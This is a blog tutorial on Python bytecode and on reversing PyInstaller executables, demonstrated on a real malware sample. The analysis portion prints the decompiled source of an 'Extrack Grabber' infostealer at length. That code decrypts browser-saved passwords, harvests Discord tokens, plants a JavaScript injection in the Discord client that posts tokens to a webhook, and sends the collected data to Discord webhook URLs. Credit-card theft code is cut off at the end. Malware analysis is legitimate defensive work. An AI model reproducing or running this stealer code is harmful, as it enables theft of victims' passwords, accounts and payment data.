Wrestling with Python

Disclaimer: Opinions expressed are solely my own. None of the ideas expressed in this blog post are shared, supported, or endorsed in any manner by my employer.

Introduction

Python is high-level, dynamically typed, portable and interpreted language which is often used for scripting. Python 2 was discounted with version 2.7.18. Currently, Python 3 is used with version 3.10.5 being the latest. 

When Python source code is executed, it is compiled to byte code which are often stored with .pyc extension. In case, it is not able to write to the machine, the byte code is generated in the memory and then discarded after the program exists. 

Once the byte code is created, it is executed by Python Virtual Machine (PVM) which is technically a big loop that iterated through byte code instructions and executes it. PVM is runtime engine of python which is present in Python system. 

It is important to note that byte code is Python-specific representation and is platform-independent. However, byte code instruction can change depending upon the version of python. You can read about byte code instructions here: https://docs.python.org/3/library/dis.html#python-bytecode-instructions

Implementation of Python

A few popular implementation of Python: 

  • CPython 
CPython is the default and standard implementation. In most machines, preinstalled version of Python would be CPython. Do not confuse it with Cython which allows one to write C extension for Python. 
  • Jython
Jython or JPython is the implementation of Python in Java. One can compile Python source code to Java bytecode which is then executed by Java Virtual Machine (JVM). Jython allows the programmers to use Java class files along with Python code. Unfortunately, it only support Python 2.7. 
  • IronPython
IronPython is the implementation of Python in .NET framework. Programmers can use C# along with Python. One can compile Python source code to IL which is then executed by CLR. Optionally, IronPython can compile to assemblies, which can be saved to disk and used to make binary-only distributions of applications. Currently, it support Python 2.7. The work is going on to support Python 3. 
  • PyPy
PyPy is the implementation of Python written in Python. The interpreter is written in RPython. It uses just-in-time compilation which makes it faster than default implementation of python (Cpython). 

https://www.python.org/download/alternatives/ contains the list of alternative python implementations. 

Creating executables

With the help of third-party tools, it is possible to create executables using frozen binaries. These files often contain the byte code of the program files, PVM and other required python libraries. Because of this, the size of executable is unusually large. 

The following third-party tools can be used: 
  • Pyinstaller (most popular one) 
  • Py2exe (Good for Python 2) 
  • Py2App (If target is OS X)
  • bbfreeze 
  • cx_freeze 
For more information, refer this page: https://docs.python-guide.org/shipping/freezing/ 

Reversing an executable created using Pyinstaller

Let's take a look at the sample (MD5: 79abb39081305740a833146200d0228c, SHA256: 4a70b909dbe668d0d2c5241dc582acb90c8820acb436a1ecbb620019e93fbda8 ) available at https://bazaar.abuse.ch/sample/4a70b909dbe668d0d2c5241dc582acb90c8820acb436a1ecbb620019e93fbda8/ 

Identifying executable created using pyinstaller

The exe file has pyinstaller icon and has a size of 17293300 bytes which is quite large. Running a string commands shows a few interesting strings: 


It seems to suggest that it is using python37.dll , crypto libraries and pyinstaller. The presence of the string python37.dll suggested that it uses python 3.7 interpreter. 

In the section: https://pyinstaller.org/en/stable/operating-mode.html#how-the-one-file-program-works, it says that pyinstaller creates a temporary folder named _MEIxxxxx where xxxxx is a random number. In fact, when  the program is executed, it creates a temp folder with _MEIxxxxx. Also, in IDA, The following code snippet uses _MEIxxxx: 


This confirms that the exe is created using pyinstaller which means that it is possible to get the python source code. Refer: https://pyinstaller.org/en/stable/operating-mode.html#hiding-the-source-code 

Extracting files from executables

There is a frequently updated github project  which can used to extract contents of the exe file:  https://github.com/extremecoders-re/pyinstxtractor 

Upon executing the script, it extracts following items: 



Most of the files are compiled bytecodes of python libraries. The folder PYZ-00.pyz_extracted contains compressed and encrypted bytecodes. 

A few words about pyc file

The header of a pyc file differs based on the python version: 


Python 2.7: \x03\xf3\x0d\x0a\0\0\0\0
Python 3.0: \x3b\x0c\x0d\x0a\0\0\0\0
Python 3.1: \x4f\x0c\x0d\x0a\0\0\0\0
Python 3.2: \x6c\x0c\x0d\x0a\0\0\0\0
Python 3.3: \x9e\x0c\x0d\x0a\0\0\0\0\0\0\0\0
Python 3.4: \xee\x0c\x0d\x0a\0\0\0\0\0\0\0\0
Python 3.5: \x17\x0d\x0d\x0a\0\0\0\0\0\0\0\0
Python 3.6: \x33\x0d\x0d\x0a\0\0\0\0\0\0\0\0
Python 3.7: \x42\x0d\x0d\x0a\0\0\0\0\0\0\0\0\0\0\0\0
Python 3.8: \x55\x0d\x0d\x0a\0\0\0\0\0\0\0\0\0\0\0\0
Python 3.9: \x61\x0d\x0d\x0a\0\0\0\0\0\0\0\0\0\0\0\0
Python 3.10: \x6f\x0d\x0d\x0a\0\0\0\0\0\0\0\0\0\0\0\0

Compiled bytecodes are stored in pyc file using marshal module. Read more here : https://docs.python.org/3/library/marshal.html 

Reading and disassembling .pyc files

pyc file can be read and disassembled by using dis and marshal module in python:
 
import dis
import marshal
with open('filename.pyc','rb') as f:
headers = f.read(16) # the value needs to be updated depending on the size of the headers.
code = f.read()
code = marshal.loads(code) #unmarshalling the code
print(dis.dis(code)) #print the bytecode instructions
view raw read_pyc.py hosted with ❤ by GitHub

To further investigate disassembled byte code, refer the following articles: 

There is a tool called Decompyle++ which has functionality to print the disassembled byte code with more details.  

Using the command pycdas , disassembled bytecode with additional details can be obtained:

 
'vars'
[Code]
File Name: extrack.py
Object Name: security
Arg Count: 0
KW Only Arg Count: 0
Locals: 0
Stack Size: 2
Flags: 0x00000040 (CO_NOFREE)
[Names]
'__name__'
'__module__'
'__qualname__'
'__init__'
[Var Names]
[Free Vars]
[Cell Vars]
[Constants]
'security'
[Code]
File Name: extrack.py
Object Name: __init__
Arg Count: 1
KW Only Arg Count: 0
Locals: 1
Stack Size: 1
Flags: 0x00000043 (CO_OPTIMIZED | CO_NEWLOCALS | CO_NOFREE)
[Names]
[Var Names]
'self'
[Free Vars]
[Cell Vars]
[Constants]
None
[Disassembly]
0 LOAD_CONST 0: None
2 RETURN_VALUE
'security.__init__'
None
[Disassembly]
0 LOAD_NAME 0: __name__
2 STORE_NAME 1: __module__
4 LOAD_CONST 0: 'security'
6 STORE_NAME 2: __qualname__
8 LOAD_CONST 1: <CODE> __init__
10 LOAD_CONST 2: 'security.__init__'
12 MAKE_FUNCTION 0
14 STORE_NAME 3: __init__
16 LOAD_CONST 3: None
18 RETURN_VALUE
view raw output snippet hosted with ❤ by GitHub

Decompiling .pyc file

Taking a look at the files extracted from the sample, the main file is extrack.pyc.  

extrack.pyc can be decompiled using any one of the following tools: 
A few caveats : 
  • These tools will not work 100% all the time. 
  • Currently, there is no support for python version 3.9 and 3.10. Decompyle++ has partial support.
  • Output from uncompyl6 and decompile3 will be similar, if not same in most cases. However, feel free to try both in case of errors. 

Output from Decompyle++

Decompyle++ project contains pycdas which is a python disassembler and pycdc which is a python decompiler. Running pycdc on the file extract.py, it is clear that decompilation is incomplete for almost all the function: 

# Source Generated with Decompyle++
# File: extrack.pyc (Python 3.7)
import os
import re
import json
import requests
import time
import threading
from windows_tools.product_key import get_windows_product_key_from_reg
import passwordstealer
class vars:
webhook = 'https://discordapp.com/api/webhooks/7489djkjd3e8wqd/adsnweifundksfnsff'
isinjected = "const vadModule = require('./VAD_module.thw');"
tokens = { }
justtokens = []
details = []
ip = ''
pkey = ''
tokens_message = ''
class security:
def __init__(self):
pass
class main:
def __init__(self):
security()
# WARNING: Decompyle incomplete
def get_account_details(self):
pass
# WARNING: Decompyle incomplete
def steal_passwords(self):
pass
# WARNING: Decompyle incomplete
def product_key(self):
try:
vars.pkey = get_windows_product_key_from_reg()
except:
vars.pkey = 'Error'
def remove_titanium(self):
pass
# WARNING: Decompyle incomplete
def send_data(self):
headers = {
'Content-Type': 'application/json',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11' }
data = {
'avatar_url': 'https://i.imgur.com/Ac2u2YE.png',
'content': '',
'embeds': [
{
'color': 0,
'fields': [
{
'inline': True,
'name': '**Grabbed Info**',
'value': f'''\nIP Address - {vars.ip}\nProduct Key - {vars.pkey}\n{vars.tokens_message}''' }],
'footer': {
'text': 'Extrack Grabber - Python' },
'thumbnail': {
'url': 'https://upload.wikimedia.org/wikipedia/commons/thumb/d/d3/Python_icon_%28black_and_white%29.svg/1024px-Python_icon_%28black_and_white%29.svg.png' } }],
'username': 'Extrack' }
# WARNING: Decompyle incomplete
def inject(self):
pass
# WARNING: Decompyle incomplete
def ip(self):
pass
# WARNING: Decompyle incomplete
def tokens(self):
def get_firefox_token():
firefox_location = ''
firefox_token = ''
# WARNING: Decompyle incomplete
def find_tokens(path):
path += '\\Local Storage\\leveldb'
tokens = []
# WARNING: Decompyle incomplete
# WARNING: Decompyle incomplete
if __name__ == '__main__':
main()
view raw python_pycdc.py hosted with ❤ by GitHub

Output from uncompyle6/decompile3

Using uncompyle6 or decompile3, the following decompiled code can be obtained with some decompilation errors: 

Instruction context:
L. 81 234 JUMP_BACK 8 'to 8'
-> 236 POP_BLOCK
import os, re, json, requests, time, threading
from windows_tools.product_key import get_windows_product_key_from_reg
import passwordstealer
class vars:
webhook = 'https://discordapp.com/api/webhooks/791652322702524466/s1FvLZxCXqYX542Tex_UlGBTq09yZqti35FLIPxeZ0zCCmxzW2bEL_uyernyQKkgec07'
isinjected = "const vadModule = require('./VAD_module.thw');"
tokens = {}
justtokens = []
details = []
ip = ''
pkey = ''
tokens_message = ''
class security:
def __init__(self):
pass
class main:
def __init__(self):
security()
self.tokens()
self.ip()
print(f"Tokens: {vars.tokens}\nIp: {vars.ip}")
self.product_key()
print(vars.pkey)
self.steal_passwords()
self.get_account_details()
print(vars.details)
def get_account_details--- This code section failed: ---
L. 56 0 SETUP_LOOP 238 'to 238'
2 LOAD_GLOBAL vars
4 LOAD_ATTR justtokens
6 GET_ITER
8_0 COME_FROM 232 '232'
8_1 COME_FROM 224 '224'
8 FOR_ITER 236 'to 236'
10 STORE_FAST 'item'
L. 58 12 LOAD_FAST 'item'
L. 59 14 LOAD_STR 'application/json'
L. 60 16 LOAD_STR 'gzip, deflate'
18 LOAD_CONST ('Authorization', 'Content-Type', 'Accept-Encoding')
20 BUILD_CONST_KEY_MAP_3 3
22 STORE_FAST 'headers'
L. 62 24 SETUP_EXCEPT 56 'to 56'
L. 63 26 LOAD_GLOBAL requests
28 LOAD_ATTR get
30 LOAD_STR 'https://discordapp.com/api/v8/users/@me'
32 LOAD_FAST 'headers'
34 LOAD_CONST ('headers',)
36 CALL_FUNCTION_KW_2 2 '2 total positional and keyword args'
38 LOAD_ATTR text
40 STORE_FAST 'details'
L. 64 42 LOAD_GLOBAL json
44 LOAD_METHOD loads
46 LOAD_FAST 'details'
48 CALL_METHOD_1 1 '1 positional argument'
50 STORE_FAST 'details'
52 POP_BLOCK
54 JUMP_FORWARD 72 'to 72'
56_0 COME_FROM_EXCEPT 24 '24'
L. 65 56 POP_TOP
58 POP_TOP
60 POP_TOP
L. 66 62 LOAD_STR 'error'
64 STORE_FAST 'details'
66 POP_EXCEPT
68 JUMP_FORWARD 72 'to 72'
70 END_FINALLY
72_0 COME_FROM 68 '68'
72_1 COME_FROM 54 '54'
L. 67 72 LOAD_FAST 'details'
74 LOAD_STR 'error'
76 COMPARE_OP !=
78 POP_JUMP_IF_FALSE 170 'to 170'
L. 68 80 LOAD_FAST 'details'
82 LOAD_METHOD get
84 LOAD_STR 'id'
86 CALL_METHOD_1 1 '1 positional argument'
88 STORE_FAST 'accid'
L. 69 90 LOAD_FAST 'details'
92 LOAD_METHOD get
94 LOAD_STR 'username'
96 CALL_METHOD_1 1 '1 positional argument'
98 STORE_FAST 'username'
L. 70 100 LOAD_FAST 'details'
102 LOAD_METHOD get
104 LOAD_STR 'discriminator'
106 CALL_METHOD_1 1 '1 positional argument'
108 STORE_FAST 'discriminator'
L. 71 110 LOAD_FAST 'details'
112 LOAD_METHOD get
114 LOAD_STR 'email'
116 CALL_METHOD_1 1 '1 positional argument'
118 STORE_FAST 'email'
L. 72 120 LOAD_FAST 'details'
122 LOAD_METHOD get
124 LOAD_STR 'phone'
126 CALL_METHOD_1 1 '1 positional argument'
128 STORE_FAST 'phone'
L. 73 130 LOAD_GLOBAL vars
132 LOAD_ATTR details
134 LOAD_METHOD append
136 LOAD_FAST 'accid'
138 FORMAT_VALUE 0 ''
140 LOAD_STR ';EXTRACK;'
142 LOAD_FAST 'username'
144 FORMAT_VALUE 0 ''
146 LOAD_STR ';EXTRACK;'
148 LOAD_FAST 'discriminator'
150 FORMAT_VALUE 0 ''
152 LOAD_STR ';EXTRACK;'
154 LOAD_FAST 'email'
156 FORMAT_VALUE 0 ''
158 LOAD_STR ';EXTRACK;'
160 LOAD_FAST 'phone'
162 FORMAT_VALUE 0 ''
164 BUILD_STRING_9 9
166 CALL_METHOD_1 1 '1 positional argument'
168 POP_TOP
170_0 COME_FROM 78 '78'
L. 75 170 SETUP_EXCEPT 202 'to 202'
L. 76 172 LOAD_GLOBAL requests
174 LOAD_ATTR get
176 LOAD_STR 'https://discord.com/api/v8/users/@me/billing/payment-sources'
178 LOAD_FAST 'headers'
180 LOAD_CONST ('headers',)
182 CALL_FUNCTION_KW_2 2 '2 total positional and keyword args'
184 LOAD_ATTR text
186 STORE_FAST 'nitro_details'
L. 77 188 LOAD_GLOBAL json
190 LOAD_METHOD loads
192 LOAD_FAST 'details'
194 CALL_METHOD_1 1 '1 positional argument'
196 STORE_FAST 'jnitro_details'
198 POP_BLOCK
200 JUMP_FORWARD 218 'to 218'
202_0 COME_FROM_EXCEPT 170 '170'
L. 78 202 POP_TOP
204 POP_TOP
206 POP_TOP
L. 79 208 LOAD_STR 'error'
210 STORE_FAST 'nitro_details'
212 POP_EXCEPT
214 JUMP_FORWARD 218 'to 218'
216 END_FINALLY
218_0 COME_FROM 214 '214'
218_1 COME_FROM 200 '200'
L. 80 218 LOAD_FAST 'nitro_details'
220 LOAD_STR 'error'
222 COMPARE_OP !=
224 POP_JUMP_IF_FALSE 8 'to 8'
226 LOAD_FAST 'nitro_details'
228 LOAD_STR '[]'
230 COMPARE_OP !=
232 POP_JUMP_IF_FALSE 8 'to 8'
L. 81 234 JUMP_BACK 8 'to 8'
236 POP_BLOCK
238_0 COME_FROM_LOOP 0 '0'
Parse error at or near `POP_BLOCK' instruction at offset 236
def steal_passwords(self):
apploc = os.getenv'APPDATA'
chrome_pass = []
edge_pass = []
brave_pass = []
brave_nightly_pass = []
brave_beta_pass = []
opera_pass = []
operagx_pass = []
yandex_pass = []
vivaldi_pass = []
epic_pass = []
avast_secure_pass = []
blisk_pass = []
allpass = []
if os.path.exists(os.getenv'LOCALAPPDATA' + '\\Google\\Chrome\\User Data\\default\\Login Data'):
chrome_pass = passwordstealer.get_password('AppData\\Local\\Google\\Chrome\\User Data\\default\\Login Data', 'AppData\\Local\\Google\\Chrome\\User Data\\Local State', 'Chrome')
if os.path.exists(os.getenv'LOCALAPPDATA' + '\\Microsoft\\Edge\\User Data\\Default\\Login Data'):
edge_pass = passwordstealer.get_password('AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data', 'AppData\\Local\\Microsoft\\Edge\\User Data\\Local State', 'Edge')
if os.path.exists(os.getenv'LOCALAPPDATA' + '\\BraveSoftware\\Brave-Browser\\User Data\\default\\Login Data'):
brave_pass = passwordstealer.get_password('AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\default\\Login Data', 'AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Local State', 'Brave')
if os.path.exists(os.getenv'LOCALAPPDATA' + '\\BraveSoftware\\Brave-Browser-Nightly\\User Data\\Default\\Login Data'):
brave_nightly_pass = passwordstealer.get_password('AppData\\Local\\BraveSoftware\\Brave-Browser-Nightly\\User Data\\Default\\Login Data', 'AppData\\Local\\BraveSoftware\\Brave-Browser-Nightly\\User Data\\Local State', 'Brave Nightly')
if os.path.exists(os.getenv'LOCALAPPDATA' + '\\BraveSoftware\\Brave-Browser-Beta\\User Data\\Default\\Login Data'):
brave_beta_pass = passwordstealer.get_password('AppData\\Local\\BraveSoftware\\Brave-Browser-Beta\\User Data\\Default\\Login Data', 'AppData\\Local\\BraveSoftware\\Brave-Browser-Beta\\User Data\\Local State', 'Brave Beta')
if os.path.exists(os.getenv'APPDATA' + '\\Opera Software\\Opera Stable\\Login Data'):
opera_pass = passwordstealer.get_password('AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data', 'AppData\\Roaming\\Opera Software\\Opera Stable\\Local State', 'Opera')
if os.path.exists(os.getenv'APPDATA' + '\\Opera Software\\Opera GX Stable\\Login Data'):
operagx_pass = passwordstealer.get_password('AppData\\Roaming\\Opera Software\\Opera GX Stable\\Login Data', 'AppData\\Roaming\\Opera Software\\Opera GX Stable\\Local State', 'Opera GX')
if os.path.exists(os.getenv'LOCALAPPDATA' + '\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Passman Data'):
yandex_pass = passwordstealer.get_password('AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Passman Data', 'AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Local State', 'Yandex')
if os.path.exists(os.getenv'LOCALAPPDATA' + '\\Vivaldi\\User Data\\Default\\Login Data'):
vivaldi_pass = passwordstealer.get_password('AppData\\Local\\Vivaldi\\User Data\\Default\\Login Data', 'AppData\\Local\\Vivaldi\\User Data\\Local State', 'Vivaldi')
if os.path.exists(os.getenv'LOCALAPPDATA' + '\\Epic Privacy Browser\\User Data\\Default\\Login Data'):
epic_pass = passwordstealer.get_password('AppData\\Local\\Epic Privacy Browser\\User Data\\Default\\Login Data', 'AppData\\Local\\Epic Privacy Browser\\User Data\\Local State', 'Epic')
if os.path.exists(os.getenv'LOCALAPPDATA' + '\\AVAST Software\\Browser\\User Data\\Default\\Login Data'):
avast_secure_pass = passwordstealer.get_password('AppData\\Local\\AVAST Software\\Browser\\User Data\\Default\\Login Data', 'AppData\\Local\\AVAST Software\\Browser\\User Data\\Local State', 'Avast Secure')
if os.path.exists(os.getenv'LOCALAPPDATA' + '\\Blisk\\User Data\\Default\\Login Data'):
blisk_pass = passwordstealer.get_password('AppData\\Local\\Blisk\\User Data\\Default\\Login Data', 'AppData\\Local\\Blisk\\User Data\\Local State', 'Blisk')
try:
allpass += chrome_pass
except:
pass
try:
allpass += edge_pass
except:
pass
try:
allpass += brave_pass
except:
pass
try:
allpass += brave_nightly_pass
except:
pass
try:
allpass += brave_beta_pass
except:
pass
try:
allpass += opera_pass
except:
pass
try:
allpass += operagx_pass
except:
pass
try:
allpass += yandex_pass
except:
pass
try:
allpass += vivaldi_pass
except:
pass
try:
allpass += epic_pass
except:
pass
try:
allpass += avast_secure_pass
except:
pass
try:
allpass += blisk_pass
except:
pass
user = os.getenv'APPDATA'.replace('C:\\Users\\', '').replace('\\AppData\\Roaming', '')
with open(f"{os.getenv'TEMP'}\\{user}-pass.txt", 'a') as (f):
for item in allpass:
data = item.split';;'
f.writef"---------------------------------------\n URL: {data[0]}\n Email: {data[1]}\n Password: {data[2]}\n Browser: {data[3]}\n---------------------------------------\n\n"
def product_key(self):
try:
vars.pkey = get_windows_product_key_from_reg()
except:
vars.pkey = 'Error'
def remove_titanium(self):
try:
os.remove'C:\\Windows\\Temp\\titanium.pyd'
except:
print('didnt remove')
def send_data(self):
headers = {'Content-Type':'application/json', 'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11'}
data = {'avatar_url':'https://i.imgur.com/Ac2u2YE.png',
'content':'',
'embeds':[
{'color':0,
'fields':[
{'inline':True,
'name':'**Grabbed Info**',
'value':f"\nIP Address - {vars.ip}\nProduct Key - {vars.pkey}\n{vars.tokens_message}"}],
'footer':{'text': 'Extrack Grabber - Python'},
'thumbnail':{'url': 'https://upload.wikimedia.org/wikipedia/commons/thumb/d/d3/Python_icon_%28black_and_white%29.svg/1024px-Python_icon_%28black_and_white%29.svg.png'}}],
'username':'Extrack'}
try:
requests.post((vars.webhook), headers=headers, json=data)
except:
time.sleep10
try:
requests.post((vars.webhook), headers=headers, json=data)
except:
pass
def inject(self):
os.chdirf"{os.getenv'LOCALAPPDATA'}\\Discord"
for item in os.listdir'./':
if 'app-' in item:
os.chdirf"{item}\\modules\\discord_krisp-1\\discord_krisp"
with open('VAD_module.thw', 'w') as (f):
f.write'var token = localStorage.getItem("token")\nfetch("REPLACEMEWEBHOOK", {\n method: "POST",\n headers: {\n "Content-Type": "application/json"\n },\n body: JSON.stringify({\n content: token,\n embeds: null\n })\n});'.replace('REPLACEMEWEBHOOK', vars.webhook)
with open('index.js', 'w') as (f):
f.write"const KrispModule = require('./discord_krisp.node');\nconst vadModule = require('./VAD_module.thw');\nconsole.info('Initializing krisp module');\nKrispModule._initialize();\nKrispModule.getNcModels = function () {\n return new Promise((resolve) => {\n KrispModule._getNcModels((models) => resolve(models));\n });\n};\nKrispModule.getVadModels = function () {\n return new Promise((resolve) => {\n KrispModule._getVadModels((models) => resolve(models));\n });\n};\nmodule.exports = KrispModule;"
def ip(self):
try:
vars.ip = requests.get('https://ip.extrack.xyz', headers={'Pragma': 'no-cache'}).text
except:
time.sleep2
try:
vars.ip = requests.get('https://ident.me', headers={'Pragma': 'no-cache'}).text
except:
vars.ip = 'Error'
def tokens(self):
def get_firefox_token():
firefox_location = ''
firefox_token = ''
for file in os.listdirf"{os.getenv'APPDATA'}\\Mozilla\\Firefox\\Profiles":
if '.default-release' in file or '.dev-edition-default' in file or '.default-nightly' in file:
firefox_location = file
for file_name in os.listdirf"{os.getenv'APPDATA'}\\Mozilla\\Firefox\\Profiles\\{firefox_location}":
if not file_name.endswith'webappsstore.sqlite':
continue
for line in [x.strip() for x in open(f"{os.getenv'APPDATA'}\\Mozilla\\Firefox\\Profiles\\{firefox_location}\\{file_name}", errors='ignore').readlines() if x.strip()]:
for regex in ('[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27}', 'mfa\\.[\\w-]{84}'):
for token in re.findall(regex, line):
return token
def find_tokens(path):
path += '\\Local Storage\\leveldb'
tokens = []
for file_name in os.listdirpath:
if not file_name.endswith'.log':
if not file_name.endswith'.ldb':
continue
for line in [x.strip() for x in open(f"{path}\\{file_name}", errors='ignore').readlines() if x.strip()]:
for regex in ('[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27}', 'mfa\\.[\\w-]{84}'):
for token in re.findall(regex, line):
tokens.appendtoken
return tokens
local = os.getenv'LOCALAPPDATA'
roaming = os.getenv'APPDATA'
paths = {'Discord Token':roaming + '\\Discord',
'Discord Canary Token':roaming + '\\discordcanary',
'Discord PTB Token':roaming + '\\discordptb',
'Lightcord Token':roaming + '\\Lightcord',
'Google Chrome Token':local + '\\Google\\Chrome\\User Data\\Default',
'Edge Token':local + '\\Microsoft\\Edge\\User Data\\Default',
'Opera Token':roaming + '\\Opera Software\\Opera Stable',
'Opera GX Token':roaming + '\\Opera Software\\Opera GX Stable',
'Brave Token':local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
'Brave Nightly Token':local + '\\BraveSoftware\\Brave-Browser-Nightly\\User Data\\Default',
'Brave Beta Token':local + '\\BraveSoftware\\Brave-Browser-Beta\\User Data\\Default',
'Yandex Token':local + '\\Yandex\\YandexBrowser\\User Data\\Default',
'Vivaldi Token':local + '\\Vivaldi\\User Data\\Default',
'Epic Token':local + '\\Epic Privacy Browser\\User Data\\Default',
'Avast Secure Token':local + '\\AVAST Software\\Browser\\User Data\\Default',
'Blisk Token':local + '\\Blisk\\User Data\\Default',
'Amigo Token':local + '\\Amigo\\User Data',
'Torch Token':local + '\\Torch\\User Data',
'Kometa Token':local + '\\Kometa\\User Data',
'Orbitum Token':local + '\\Orbitum\\User Data',
'CentBrowser Token':local + '\\CentBrowser\\User Data',
'7Star Token':local + '\\7Star\x07Star\\User Data',
'Sputnik Token':local + '\\Sputnik\\Sputnik\\User Data',
'Chrome SxS Token':local + '\\Google\\Chrome SxS\\User Data',
'Uran Token':local + '\\uCozMedia\\Uran\\User Data\\Default',
'Iridium Token':local + '\\Iridium\\User Data\\Default',
'CCleaner Token':local + '\\CCleaner Browser\\User Data\\Default',
'Opera Beta Token':roaming + '\\Opera Software\\Opera Next',
'Opera Dev Token':roaming + '\\Opera Software\\Opera Developer'}
message = ''
grabberfirefox = False
for platform, path in paths.items():
if not os.path.existspath:
continue
if os.path.existsf"{os.getenv'APPDATA'}\\Mozilla\\Firefox\\Profiles":
if not grabberfirefox:
ftoken = get_firefox_token()
vars.tokens['Firefox Token'] = ftoken
message += f"\n**Firefox Token**\n{ftoken}\n"
vars.justtokens.appendftoken
grabberfirefox = True
message += f"\n**{platform}**\n"
vars.tokens[platform] = 'None'
tokens = find_tokens(path)
if len(tokens) > 0:
for token in tokens:
vars.justtokens.appendtoken
message += f"{token}\n"
vars.tokens[platform] = token
else:
message += 'No tokens found.\n'
vars.tokens_message = message
if __name__ == '__main__':
main()
view raw extrack.py hosted with ❤ by GitHub

One important thing to note is that the use of file called passwordstealer. It doesn't seem to be a standard python library.  PYZ-00.pyz_extracted contains the passwordstealer byte code file but it is compressed and encrypted.  

Extracting compressed and encrypted bytecodes. 

To decrypt the file, the key is needed which is stored in the file name: pyimod00_crypto_key.pyc . Decompile the file using uncompyl6 to find the key for decryption. 

Now, decryption and decompression routine is required which is present in the file named: pyimod02_archive.pyc. Decompile the file using uncompyl6 to get the routine  shown in the following code snippet:
 
import _thread as thread, marshal, struct, sys, zlib
CRYPT_BLOCK_SIZE = 16
class Cipher:
__doc__ = '\n This class is used only to decrypt Python modules.\n '
def __init__(self):
import pyimod00_crypto_key
key = pyimod00_crypto_key.key
if not type(key) is str:
raise AssertionError
elif len(key) > CRYPT_BLOCK_SIZE:
self.key = key[0:CRYPT_BLOCK_SIZE]
else:
self.key = key.zfill(CRYPT_BLOCK_SIZE)
assert len(self.key) == CRYPT_BLOCK_SIZE
import tinyaes
self._aesmod = tinyaes
del sys.modules['tinyaes']
def __create_cipher(self, iv):
return self._aesmod.AES(self.key.encode(), iv)
def decrypt(self, data):
cipher = self._Cipher__create_cipher(data[:CRYPT_BLOCK_SIZE])
return cipher.CTR_xcrypt_buffer(data[CRYPT_BLOCK_SIZE:])
class ZlibArchiveReader(ArchiveReader):
__doc__ = '\n ZlibArchive - an archive with compressed entries. Archive is read from the executable created by PyInstaller.\n\n This archive is used for bundling python modules inside the executable.\n\n NOTE: The whole ZlibArchive (PYZ) is compressed, so it is not necessary to compress individual modules.\n '
MAGIC = b'PYZ\x00'
TOCPOS = 8
HDRLEN = ArchiveReader.HDRLEN + 5
def __init__(self, path=None, offset=None):
if path is None:
offset = 0
else:
if offset is None:
for i in range(len(path) - 1, -1, -1):
if path[i] == '?':
try:
offset = int(path[i + 1:])
except ValueError:
continue
path = path[:i]
break
else:
offset = 0
else:
super().__init__(path, offset)
try:
import pyimod00_crypto_key
self.cipher = Cipher()
except ImportError:
self.cipher = None
def is_package(self, name):
typ, pos, length = self.toc.get(name, (0, None, 0))
if pos is None:
return
return typ in (PYZ_TYPE_PKG, PYZ_TYPE_NSPKG)
def is_pep420_namespace_package(self, name):
typ, pos, length = self.toc.get(name, (0, None, 0))
if pos is None:
return
return typ == PYZ_TYPE_NSPKG
def extract(self, name):
typ, pos, length = self.toc.get(name, (0, None, 0))
if pos is None:
return
with self.lib:
self.lib.seek(self.start + pos)
obj = self.lib.read(length)
try:
if self.cipher:
obj = self.cipher.decrypt(obj)
obj = zlib.decompress(obj)
if typ in (PYZ_TYPE_MODULE, PYZ_TYPE_PKG, PYZ_TYPE_NSPKG):
obj = marshal.loads(obj)
except EOFError as e:
try:
raise ImportError("PYZ entry '%s' failed to unmarshal" % name) from e
finally:
e = None
del e
return (
typ, obj)

The class zlibarchivereader has extract method which when implemented in a python script can be used to get the decrypted and decompressed passwordstealer file using the key found earlier.

Finally, using uncompyl6, decompiled passwordstealer.pyc would be obtained:

import os, json, base64, sqlite3, win32crypt
from Crypto.Cipher import AES
import shutil
FileName = 116444736000000000
NanoSeconds = 10000000
temp = os.getenv('TEMP')
def copy(this, there):
content = ''
print(this)
print(there)
with open(this, 'r') as (f):
for item in f.readlines():
content += item
with open(there, 'w') as (f):
f.write(content)
def get_master_key(keyloc):
try:
with open((os.environ['USERPROFILE'] + os.sep + keyloc), 'r',
encoding='utf-8') as (f):
local_state = f.read()
local_state = json.loads(local_state)
except:
exit()
master_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])
master_key = master_key[5:]
master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
return master_key
def decrypt_payload(cipher, payload):
return cipher.decrypt(payload)
def generate_cipher(aes_key, iv):
return AES.new(aes_key, AES.MODE_GCM, iv)
def decrypt_password(buff, master_key):
try:
iv = buff[3:15]
payload = buff[15:]
cipher = generate_cipher(master_key, iv)
decrypted_pass = decrypt_payload(cipher, payload)
decrypted_pass = decrypted_pass[:-16].decode()
return decrypted_pass
except Exception as e:
try:
return '<Unable to decrypt data>'
finally:
e = None
del e
def get_password(logindb, keyloc, browser):
master_key = get_master_key(keyloc)
passwords = []
login_db = os.environ['USERPROFILE'] + os.sep + logindb
try:
copy(login_db, f"{temp}\\kernel32.db")
except:
return
conn = sqlite3.connect(f"{temp}\\kernel32.db")
cursor = conn.cursor()
try:
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for r in cursor.fetchall():
url = r[0]
username = r[1]
encrypted_password = r[2]
decrypted_password = decrypt_password(encrypted_password, master_key)
if username != '' or decrypted_password != '':
passwords.append(f"{url};;{username};;{decrypted_password};;{browser}")
except:
pass
cursor.close()
conn.close()
try:
os.remove(f"{temp}\\kernel32.db")
except:
pass
return passwords
def get_credit_cards():
master_key = get_master_key()
login_db = os.environ['USERPROFILE'] + os.sep + 'AppData\\Local\\Google\\Chrome\\User Data\\default\\Web Data'
copy(login_db, f"{temp}\\explorer.db")
conn = sqlite3.connect(f"{temp}\\explorer.db")
cursor = conn.cursor()
try:
cursor.execute('SELECT * FROM credit_cards')
for r in cursor.fetchall():
username = r[1]
encrypted_password = r[4]
decrypted_password = decrypt_password(encrypted_password, master_key)
